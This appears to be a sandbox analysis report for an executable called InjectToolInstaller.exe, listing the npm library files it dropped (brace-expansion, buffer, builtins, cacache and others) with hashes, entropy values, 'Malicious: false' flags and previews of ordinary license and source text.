SHA-256:	9DF74968F4F13CE752B65473847C6742BECDC0E7F7A6BD6FD7EB3E612B28DD81
SHA-512:	42E3094C3709103CF137F08A495B7ACBB60681DB123E27848BB22BC0A7972546DE7E688C1B007B6CE68F07885098E0D6217138377F44FBB0332D92112F8E4FC1
Malicious:	false
Preview:	{.."name": "binary-extensions",.."version": "2.2.0",.."description": "List of binary file extensions",.."license": "MIT",.."repository": "sindresorhus/binary-extensions",.."author": {..."name": "Sindre Sorhus",..."email": "sindresorhus@gmail.com",..."url": "sindresorhus.com"..},.."engines": {..."node": ">=8"..},.."scripts": {..."test": "xo && ava && tsd"..},.."files": [..."index.js",..."index.d.ts",..."binary-extensions.json",..."binary-extensions.json.d.ts"..],.."keywords": [..."binary",..."extensions",..."extension",..."file",..."json",..."list",..."array"..],.."devDependencies": {..."ava": "^1.4.1",..."tsd": "^0.7.2",..."xo": "^0.24.0"..}.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\brace-expansion\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1096
Entropy (8bit):	5.138997897915593
Encrypted:	false
SSDEEP:	24:IrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:IaJHlxE3dQHOs5exm3ogFh
MD5:	A5DF515EF062CC3AFFD8C0AE59C059EC
SHA1:	433C2B9C71BAD0957F4831068C2F5D973CEF98A9
SHA-256:	68F12F6E2C33688699249C01D8F9623C534DA20AA71989C57B061B7BC1676D14
SHA-512:	0B0068B8BEB6864DBB6971D9FE165D2D5FD420BCD6D7BBBD8F42589EB981BF95D854DF2D16C21D378EA6D48F562345D2F66DE0FD17134DFFA8495EB496E6DFF0
Malicious:	false
Preview:	MIT License..Copyright (c) 2013 Julian Gruber <julian@juliangruber.com>..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISIN

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\brace-expansion\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4992
Entropy (8bit):	4.722743418858291
Encrypted:	false
SSDEEP:	96:wjyn2N05ZTCGQNYonQFRyJ+gELyx/0jlMnlL1RnOTASWabCWQ9tfjiC/qCqyy0jE:W7GAfNNQF6+3gcjOnh1wToabCtfjiC/w
MD5:	795F787BE90F6DAF96D64087F2428723
SHA1:	6C479385902B5ADC1B4343472922324AA312296C
SHA-256:	6F6A12F42623BF53B6561D46C5E37C0F26B6471BA53E83C3B933FB2C2F139742
SHA-512:	F093A66EF5F0E79085195571421A3EBC7681BBE41ADD742FB5A7EFBD660FC3F6CCD6E6C8A95C4334A91232B6E0A45AEBB84539EF7FEF05FA21C63E36D2757175
Malicious:	false
Preview:	var balanced = require('balanced-match');..module.exports = expandTop;..var escSlash = '\0SLASH'+Math.random()+'\0';.var escOpen = '\0OPEN'+Math.random()+'\0';.var escClose = '\0CLOSE'+Math.random()+'\0';.var escComma = '\0COMMA'+Math.random()+'\0';.var escPeriod = '\0PERIOD'+Math.random()+'\0';..function numeric(str) {. return parseInt(str, 10) == str. ? parseInt(str, 10). : str.charCodeAt(0);.}..function escapeBraces(str) {. return str.split('\\\\').join(escSlash). .split('\\{').join(escOpen). .split('\\}').join(escClose). .split('\\,').join(escComma). .split('\\.').join(escPeriod);.}..function unescapeBraces(str) {. return str.split(escSlash).join('\\'). .split(escOpen).join('{'). .split(escClose).join('}'). .split(escComma).join(','). .split(escPeriod).join('.');.}...// Basically just str.split(","), but handling cases.// where we have nested braced sections, which should be.// treated

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\brace-expansion\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1092
Entropy (8bit):	4.651286928367065
Encrypted:	false
SSDEEP:	24:OPXW4Q/51Gj94L4Mr2R1k7EJSO6uEupb4AJMWv4+xyiyWdm6cYAjwr:OfOrGjc6R1ph3jpMAnv4+xyiyxVj2
MD5:	4B877FCF0149128ACF15926C546B8B98
SHA1:	7B48982E1637DD5DEE1F571CD7C98054B46FB032
SHA-256:	4A9AE315FFC10674F4A71EA4465103E77426D86AEB2C23737607181F3F31344F
SHA-512:	C2197EFE496DB792BBEFCE4D68BBAF63204A53267E8A36BF476521718C5E67E418165DEC16F260C521B18C4B54A65862FE94A1A2385C18C191565FA7DA900DB8
Malicious:	false
Preview:	{. "name": "brace-expansion",. "description": "Brace expansion as known from sh/bash",. "version": "2.0.1",. "repository": {. "type": "git",. "url": "git://github.com/juliangruber/brace-expansion.git". },. "homepage": "https://github.com/juliangruber/brace-expansion",. "main": "index.js",. "scripts": {. "test": "tape test/.js",. "gentest": "bash test/generate.sh",. "bench": "matcha test/perf/bench.js". },. "dependencies": {. "balanced-match": "^1.0.0". },. "devDependencies": {. "@c4312/matcha": "^1.3.1",. "tape": "^4.6.0". },. "keywords": [],. "author": {. "name": "Julian Gruber",. "email": "mail@juliangruber.com",. "url": "http://juliangruber.com". },. "license": "MIT",. "testling": {. "files": "test/.js",. "browsers": [. "ie/8..latest",. "firefox/20..latest",. "firefox/nightly",. "chrome/25..latest",. "chrome/canary",. "opera/12..latest",. "opera/next",. "safari/5.1..latest",. "ipa

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\buffer\AUTHORS.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	2788
Entropy (8bit):	5.116752769694121
Encrypted:	false
SSDEEP:	48:ZdFA7SKFA7lyJOFQxmvnDFTC7RXsJdgcFHiBsuk79HgTlLRK9CgKHX8kGM8:ZHA7TApnUmvZcH0HiB1k7xgyVK38kGF
MD5:	FE1F8D38872207DB9CB96D8F7D3AD89C
SHA1:	E071CD3A0DFAD864BAA54DA0003276D84238EF5D
SHA-256:	CA3D96437F69CEB38DF1972DB017FCD6303B02F57EA1F838AB9F9C3DB3E789E0
SHA-512:	A238907BA19E6DA23EC12450E44C37481AE5F3E2DF720CE2B40420FE16604FD10FC4253129192397A2FA9F42528CC3522160120C1D76606303B6331497AFAD10
Malicious:	false
Preview:	# Authors..#### Ordered by first contribution...- Romain Beauxis (toots@rastageeks.org).- Tobias Koppers (tobias.koppers@googlemail.com).- Janus (ysangkok@gmail.com).- Rainer Dreyer (rdrey1@gmail.com).- To.nis Tiigi (tonistiigi@gmail.com).- James Halliday (mail@substack.net).- Michael Williamson (mike@zwobble.org).- elliottcable (github@elliottcable.name).- rafael (rvalle@livelens.net).- Andrew Kelley (superjoe30@gmail.com).- Andreas Madsen (amwebdk@gmail.com).- Mike Brevoort (mike.brevoort@pearson.com).- Brian White (mscdex@mscdex.net).- Feross Aboukhadijeh (feross@feross.org).- Ruben Verborgh (ruben@verborgh.org).- eliang (eliang.cs@gmail.com).- Jesse Tane (jesse.tane@gmail.com).- Alfonso Boza (alfonso@cloud.com).- Mathias Buus (mathiasbuus@gmail.com).- Devon Govett (devongovett@gmail.com).- Daniel Cousens (github@dcousens.com).- Joseph Dykstra (josephdykstra@gmail.com).- Parsha Pourkhomami (parshap+git@gmail.com).- Damjan Ko.ir (damjan.kosir@gmail.com).- daverayment (dave.rayment@

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\buffer\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1106
Entropy (8bit):	5.085027895256275
Encrypted:	false
SSDEEP:	24:b6NEYrmJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF5n:b6iYaJHlxE35QHOs5exm3ogF5n
MD5:	E49E579DBCC02CF1F699DEEC85FD96F0
SHA1:	4AE7988E5AF66B48B6D74A70FB30C4AEDDA141EE
SHA-256:	06BAFA45FDAD2579BA0E43B0C9B2C6290287C99C4203C300254A462B38A307F6
SHA-512:	0B8824C1D0AE5F4E0FFFC595DFDFA88D724365DE168EFF4B40A68B7A30DFDE2C9F65A132B7D4770104F5360D4EA800AF0507ED6F585AF60003B0D385C09B0593
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) Feross Aboukhadijeh, and other contributors...Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWI

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\buffer\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	58353
Entropy (8bit):	4.938298339636901
Encrypted:	false
SSDEEP:	768:HbLpdwRiQA2FTIYgcVOgtuSOV5KGWRGblIaXOik0v0Z3GWEGK+cuORW070Rb03L9:gR9mYSKvFENqPFM
MD5:	1584EEFFA4BC7066890E52089A44C4D9
SHA1:	FB3CE041D41FB0112F1EC626A1ECEF638EE9BCF0
SHA-256:	C25853FD31ADDFCE188B01061FE85BFE667D5FB6C7A7BBB1C83D0DDFD8627ACC
SHA-512:	0742FC0379C3D0A1614155B035341AADB514783196518CC2D140911D09E578AACBC49D6F174D9CFC8C9FD940B83A3F363D76A7F3F004C9839FBB6F7D2EC2A70A
Malicious:	false
Preview:	/!. The buffer module from node.js, for the browser.. . @author Feross Aboukhadijeh <https://feross.org>. * @license MIT. /./ eslint-disable no-proto /..'use strict'..const base64 = require('base64-js').const ieee754 = require('ieee754').const customInspectSymbol =. (typeof Symbol === 'function' && typeof Symbol['for'] === 'function') // eslint-disable-line dot-notation. ? Symbol['for']('nodejs.util.inspect.custom') // eslint-disable-line dot-notation. : null..exports.Buffer = Buffer.exports.SlowBuffer = SlowBuffer.exports.INSPECT_MAX_BYTES = 50..const K_MAX_LENGTH = 0x7fffffff.exports.kMaxLength = K_MAX_LENGTH../. If `Buffer.TYPED_ARRAY_SUPPORT`:. * === true Use Uint8Array implementation (fastest). * === false Print warning and recommend using `buffer` v4.x which has an Object. * implementation (most compatible, even IE6). . Browsers that support typed arrays are IE 10+, Firefox 4+, Chrome 7+, Safari 5.1+,. * Opera 11.6+, iOS 4.2+.. *.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\buffer\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2546
Entropy (8bit):	4.7665616849286545
Encrypted:	false
SSDEEP:	48:nYUk7Q5++idnBZWz8N2MJ/RY5oGYDxgZ8alnTV1fvbGVmQRnCXtW:GQ03nHN2a5Y2GYDxdalVvQsI
MD5:	01545DA3F0B70BE66774741A921545A7
SHA1:	3156A9CD35DC750BEBC2EAAF42A5933C8EE6B892
SHA-256:	5B105AC0ABBF5985CBE62AD28A34032D85C7EF623E0EB01F39441B0FEB419004
SHA-512:	D7B4AB6314C1E98E7C519967D2F011711CA653B525D94685FB6D0A3A8C5BDD10E74CE23E635751E6B87B3F88619C2AF82103FA95B28059AC16817777EFD6C6DD
Malicious:	false
Preview:	{. "name": "buffer",. "description": "Node.js Buffer API, for the browser",. "version": "6.0.3",. "author": {. "name": "Feross Aboukhadijeh",. "email": "feross@feross.org",. "url": "https://feross.org". },. "bugs": {. "url": "https://github.com/feross/buffer/issues". },. "contributors": [. "Romain Beauxis <toots@rastageeks.org>",. "James Halliday <mail@substack.net>". ],. "dependencies": {. "base64-js": "^1.3.1",. "ieee754": "^1.2.1". },. "devDependencies": {. "airtap": "^3.0.0",. "benchmark": "^2.1.4",. "browserify": "^17.0.0",. "concat-stream": "^2.0.0",. "hyperquest": "^2.1.3",. "is-buffer": "^2.0.5",. "is-nan": "^1.3.0",. "split": "^1.0.1",. "standard": "*",. "tape": "^5.0.1",. "through2": "^4.0.2",. "uglify-js": "^3.11.5". },. "homepage": "https://github.com/feross/buffer",. "jspm": {. "map": {. "./index.js": {. "node": "@node/buffer". }. }. },. "keywords": [. "arraybuffer",.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\builtins\License

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1083
Entropy (8bit):	5.141633932291246
Encrypted:	false
SSDEEP:	24:XiJHxRHuyPP3GtIHw1Gg9QH+sUW8Ok4F+d1o36qjFD:XiJzfPvGt7ICQH+sfIte36AFD
MD5:	69AEF5FFCB6A0882BAE34C8ED4A21C57
SHA1:	EAAE4471922C8E3E89E7F74DB308322DB7EDE597
SHA-256:	819D454AE5C5A9D05197D20F66F835EBFA5987FFE497B03F77ED735DF21A8ADE
SHA-512:	7B2AFAB624021CEA3EDD11F9BE2A667D36BBAF04E617C5716313D79D043FA5758513D87C7724CAA281A9F19B70324BC0696187D17A45238D0CC880A80500F5A0
Malicious:	false
Preview:	Copyright (c) 2015 Julian Gruber <julian@juliangruber.com>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the."Software"), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND.NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE.LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION.OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT O

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\builtins\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1448
Entropy (8bit):	4.803821483158595
Encrypted:	false
SSDEEP:	24:pskqwFSlMRXszpB4No4qLryufHRALAVOItABcFL4iiA1HPHst1UFHPZt0y:psbESlMSzpB4NELeufxALEAqMwfstu9n
MD5:	7C5D3007AE304CD4E5D25F405C958299
SHA1:	D65C19E3FD2635ACFDA4031C5248AED453D67B57
SHA-256:	A12A975FFC86A867FC7C72C1B5B8166B0C50FA53BDFEFF060F0B52337A8DDE32
SHA-512:	58B8E7B7642E07F34BCED80E05F4DAA8CF32C1B6AB76EE78DBA8EB987474AB300DCDDEE531E490C98BB4FCC01134ECCE81357CA3DA90E6F35210DDC8BEF791BD
Malicious:	false
Preview:	'use strict'..const semver = require('semver')..const permanentModules = [. 'assert',. 'buffer',. 'child_process',. 'cluster',. 'console',. 'constants',. 'crypto',. 'dgram',. 'dns',. 'domain',. 'events',. 'fs',. 'http',. 'https',. 'module',. 'net',. 'os',. 'path',. 'punycode',. 'querystring',. 'readline',. 'repl',. 'stream',. 'string_decoder',. 'sys',. 'timers',. 'tls',. 'tty',. 'url',. 'util',. 'vm',. 'zlib'.]..const versionLockedModules = {. freelist: '<6.0.0',. v8: '>=1.0.0',. process: '>=1.1.0',. inspector: '>=8.0.0',. async_hooks: '>=8.1.0',. http2: '>=8.4.0',. perf_hooks: '>=8.5.0',. trace_events: '>=10.0.0',. worker_threads: '>=12.0.0',. 'node:test': '>=18.0.0'.}..const experimentalModules = {. worker_threads: '>=10.5.0',. wasi: '>=12.16.0',. diagnostics_channel: '^14.17.0 \|\| >=15.1.0'.}..module.exports = ({ version = process.version, experimental = false } = {}) => {. const builtins = [...permanentModules].. for (const [name, semve

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\builtins\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	449
Entropy (8bit):	4.585778889621007
Encrypted:	false
SSDEEP:	12:R1ZbXHh2RJoX96a8MViREewnLlBVWXg0U7Eu4K:R1ZbXYJXREewnLl6X9ju4K
MD5:	E7BA19053C023646661F8A7A1C2BE9BE
SHA1:	058C6E8B5B85A6BBFB7BACA27AE10FDC15A9A524
SHA-256:	A819D8D7C1CDCFE26BD6E3B69A4555188BDF2B54AB511C17DE07F779598681F5
SHA-512:	3DDA86C74044941F8F231D2F1E21B38779A917EED5FC2F60A9BD0BE2C1BA139020BF75D3DD647B9C35DB61570E8EC9332BF78BBFCCD0CB66921C629B18559EB0
Malicious:	false
Preview:	{. "name": "builtins",. "version": "5.0.1",. "description": "List of node.js builtin modules",. "repository": "juliangruber/builtins",. "license": "MIT",. "main": "index.js",. "files": [],. "scripts": {. "test": "prettier-standard && standard && node-core-test". },. "dependencies": {. "semver": "^7.0.0". },. "devDependencies": {. "node-core-test": "^1.4.0",. "prettier-standard": "^15.0.1",. "standard": "^14.3.4". }.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cacache\LICENSE.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	755
Entropy (8bit):	4.986133556658205
Encrypted:	false
SSDEEP:	12:knXS4dCPX6bsmgmq6KX9KsAyXJXsXHUXA3+aOPRd2AvPNRKA3khXgKCgp3ew:YCICjmq6s9i4eAcGPRfyhoq3ew
MD5:	5324D196A847002A5D476185A59CF238
SHA1:	DFE418DC288EDB0A4BB66AF2AD88BD838C55E136
SHA-256:	720836C9BDAD386485A492AB41FE08007ECF85CA278DDD8F9333494DCAC4949D
SHA-512:	1B4187C58BEBB6378F8A04300DA6F4D1F12F6FBE9A1AB7CEDA8A4752E263F282DAEBCAC1379FA0675DD78EC86FFFB127DBA6469F303570B9F21860454DF2203F
Malicious:	false
Preview:	ISC License..Copyright (c) npm, Inc...Permission to use, copy, modify, and/or distribute this software for.any purpose with or without fee is hereby granted, provided that the.above copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE COPYRIGHT HOLDER DISCLAIMS.ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED.WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE.COPYRIGHT HOLDER BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR.CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS.OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE.OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE.USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cacache\lib\content\path.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	737
Entropy (8bit):	4.8633054835586265
Encrypted:	false
SSDEEP:	12:oE9kwGQCCsI+EkHbRgAA1B6PF0Y5vZoakLqGvy1sP5Bquq6+NSs5:d9rCBhHbq1BeF0uvWLquBBslNV5
MD5:	C66683453866DDCCF0A4B5A817A3C87C
SHA1:	E28059C54A7CA3CBB9B5B039DB061A24E533D880
SHA-256:	7EC9682EE3472435D866BDD35D18E2D570FFE98621BC230F30D31443BD04D8F7
SHA-512:	A19345927F9275A09FD7B4F06858BBA5B513751AF3C91885FACE9435C923993A2862EA91EB6C6492208EE6EDDD017F1B880CCD35F8ECBC86D0EA7AF0D173D3DA
Malicious:	false
Preview:	'use strict'..const contentVer = require('../../package.json')['cache-version'].content.const hashToSegments = require('../util/hash-to-segments').const path = require('path').const ssri = require('ssri')..// Current format of content file path:.//.// sha512-BaSE64Hex= ->.// ~/.my-cache/content-v2/sha512/ba/da/55deadbeefc0ffee.//.module.exports = contentPath..function contentPath (cache, integrity) {. const sri = ssri.parse(integrity, { single: true }). // contentPath is the strongest algo given. return path.join(. contentDir(cache),. sri.algorithm,. ...hashToSegments(sri.hexDigest()). ).}..module.exports.contentDir = contentDir..function contentDir (cache) {. return path.join(cache, `content-v${contentVer}`).}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cacache\lib\content\read.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4409
Entropy (8bit):	4.663891902622653
Encrypted:	false
SSDEEP:	96:x61+Au65/TLtwiBhAozL9Gv5coIdT4b2EpIeOXvN9Z5:xGu65/TLtwiBSSLsvqZdT4qEpIeOXvNx
MD5:	A3738489FA3632AE7ECB44C63B38628D
SHA1:	3C4E8F1E4799F5AA913204888F54D81E65E53ED6
SHA-256:	DBE618214F63C11A58AEBDC97C3F646BC794DF809F5C773E34EFC9486202CE3E
SHA-512:	DA19DA7902ACBC36C187682E13422FA141A886E63E78F2A555804E0BA0FD450AE89901E66E954D44FFBF680938B3C1445E190FDDA24897DFA5B35AC79EC5A496
Malicious:	false
Preview:	'use strict'..const fs = require('fs/promises').const fsm = require('fs-minipass').const ssri = require('ssri').const contentPath = require('./path').const Pipeline = require('minipass-pipeline')..module.exports = read..const MAX_SINGLE_READ_SIZE = 64 * 1024 * 1024.async function read (cache, integrity, opts = {}) {. const { size } = opts. const { stat, cpath, sri } = await withContentSri(cache, integrity, async (cpath, sri) => {. // get size. const stat = await fs.stat(cpath). return { stat, cpath, sri }. }). if (typeof size === 'number' && stat.size !== size) {. throw sizeError(size, stat.size). }.. if (stat.size > MAX_SINGLE_READ_SIZE) {. return readPipeline(cpath, stat.size, sri, new Pipeline()).concat(). }.. const data = await fs.readFile(cpath, { encoding: null }). if (!ssri.checkData(data, sri)) {. throw integrityError(sri, cpath). }.. return data.}..const readPipeline = (cpath, size, sri, stream) => {. stream.push(. new fsm.ReadStream(cpath, {.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cacache\lib\content\rm.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	481
Entropy (8bit):	4.5026507451572275
Encrypted:	false
SSDEEP:	12:oBTxOvyfBQvUtqfrT7tBwOvuWIJa/WTb1IjIb:UVG2B6Uti7tOxWka/WX1IjIb
MD5:	4E1BD0B7EC57F9B1F6DED18C48F327BC
SHA1:	875D264C38047981031F7CA65D65B7D8523B5E3F
SHA-256:	F3F706375BBC097BC0FD091F0EEA8D07B98B8E1F7A1D203F3B87337312272672
SHA-512:	BD2E2D5D96F230A0909A9063E9D105C4C0AE5815CCBE2DC4A0461B02AEA06D9A0B79C4912B8BCE00EBB9DDC73E40314FF7510A684EE28187F04F6DD5E212975F
Malicious:	false
Preview:	'use strict'..const fs = require('fs/promises').const contentPath = require('./path').const { hasContent } = require('./read')..module.exports = rm..async function rm (cache, integrity) {. const content = await hasContent(cache, integrity). // ~pretty~ sure we can't end up with a content lacking sri, but be safe. if (content && content.sri) {. await fs.rm(contentPath(cache, content.sri), { recursive: true, force: true }). return true. } else {. return false. }.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cacache\lib\content\write.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5687
Entropy (8bit):	4.658489364800911
Encrypted:	false
SSDEEP:	96:PMVYUBQCGE4ySmNElcF/HybYQwy4QYoO1StyGUxLTCcAmUFgUA4qPZTGNcEsfBCY:kVYoGE4iEyzQwSpKl2cLUqUA4ggmH7L
MD5:	851DDE26BEBE68F41E7B8488396D382A
SHA1:	CEF7A585557FDB45F906E449F9F99BAD59DAE7C5
SHA-256:	5AF02BB8B36884B211D779D4C5E50C425ED9FD67B925F7E8BECBC1750E4F7E8F
SHA-512:	273D241AA04831FCD40D8DF8D5922285C8588D0A4BCAF5A058BD60BEEBBA99EA506D9891F4FFE07EDBF64DFA9563E05A4F14B7E5BC4F735D982A6E8F7827DC7C
Malicious:	false
Preview:	'use strict'..const events = require('events')..const contentPath = require('./path').const fs = require('fs/promises').const { moveFile } = require('@npmcli/fs').const { Minipass } = require('minipass').const Pipeline = require('minipass-pipeline').const Flush = require('minipass-flush').const path = require('path').const ssri = require('ssri').const uniqueFilename = require('unique-filename').const fsm = require('fs-minipass')..module.exports = write..// Cache of move operations in process so we don't duplicate.const moveOperations = new Map()..async function write (cache, data, opts = {}) {. const { algorithms, size, integrity } = opts.. if (typeof size === 'number' && data.length !== size) {. throw sizeError(size, data.length). }.. const sri = ssri.fromData(data, algorithms ? { algorithms } : {}). if (integrity && !ssri.checkData(data, integrity, opts)) {. throw checksumError(integrity, sri). }.. for (const algo in sri) {. const tmp = await makeTmp(cache, opts).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cacache\lib\entry-index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	9126
Entropy (8bit):	4.654330609781954
Encrypted:	false
SSDEEP:	192:7ylwolNNKXN+oCaXzabkjF+3m5RC6PZeW2cH8llIFnTc64Y:7ylPNNHgXWb125avc8IFnTc6D
MD5:	E3581A4800E872C74D33D428A43C45BF
SHA1:	5C9D813706A32B323F641680649ADA4CEF02A065
SHA-256:	75F21C2EF3B790DFD8A5FEB97504988D904790F0D3D6468939177D7E9192A274
SHA-512:	133D25DEEA97D18B77FE6239EA481EA137270E3F331BE08D514080E78B98A4D0133306685D70176010A4BB999AF38921535F15720DCC173B0C3894F47816A2FA
Malicious:	false
Preview:	'use strict'..const crypto = require('crypto').const {. appendFile,. mkdir,. readFile,. readdir,. rm,. writeFile,.} = require('fs/promises').const { Minipass } = require('minipass').const path = require('path').const ssri = require('ssri').const uniqueFilename = require('unique-filename')..const contentPath = require('./content/path').const hashToSegments = require('./util/hash-to-segments').const indexV = require('../package.json')['cache-version'].index.const { moveFile } = require('@npmcli/fs')..module.exports.NotFoundError = class NotFoundError extends Error {. constructor (cache, key) {. super(`No cache entry for ${key} found in ${cache}`). this.code = 'ENOENT'. this.cache = cache. this.key = key. }.}..module.exports.compact = compact..async function compact (cache, key, matchFn, opts = {}) {. const bucket = bucketPath(cache, key). const entries = await bucketEntries(bucket). const newEntries = []. // we loop backwards because the bottom-most result is the

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cacache\lib\get.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4462
Entropy (8bit):	4.60813585744298
Encrypted:	false
SSDEEP:	96:X2BE3XKUEQsGeVE3DOTuWe/ZrJ1YSUO8325yqkVph:n3XoQsHu3KTuWexrJ1YS98325fMph
MD5:	182421852249BFB3B527C046C9CB37F1
SHA1:	065B24B2F79C0005B24F8BD80C271F3EAE43CE55
SHA-256:	4127C3ADB8BC9F530DCB6ED80A0C6C00288F1DB8C6939146957D03454CAC06C9
SHA-512:	4BA327B91B332C38C3F191D38F148D1F40E436A585DADE62F7BB07B35EEE25C62E10D8A252C0854673FE3A140BF9745AE3649E946A59BF54F7BAFEBFF9AB5F11
Malicious:	false
Preview:	'use strict'..const Collect = require('minipass-collect').const { Minipass } = require('minipass').const Pipeline = require('minipass-pipeline')..const index = require('./entry-index').const memo = require('./memoization').const read = require('./content/read')..async function getData (cache, key, opts = {}) {. const { integrity, memoize, size } = opts. const memoized = memo.get(cache, key, opts). if (memoized && memoize !== false) {. return {. metadata: memoized.entry.metadata,. data: memoized.data,. integrity: memoized.entry.integrity,. size: memoized.entry.size,. }. }.. const entry = await index.find(cache, key, opts). if (!entry) {. throw new index.NotFoundError(cache, key). }. const data = await read(cache, entry.integrity, { integrity, size }). if (memoize) {. memo.put(cache, entry, data, opts). }.. return {. data,. metadata: entry.metadata,. size: entry.size,. integrity: entry.integrity,. }.}.module.exports = getData..async

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cacache\lib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1238
Entropy (8bit):	4.605599503613906
Encrypted:	false
SSDEEP:	24:+JXMb6YnyBbB1BlBnBTBhBdBnBJBDQ0BCC9BEWBFBpBOQtzBBBBzYYBzGBnzBzfa:+JX8nydzbd5Xz1nBB3VLXsizLBlYpJBA
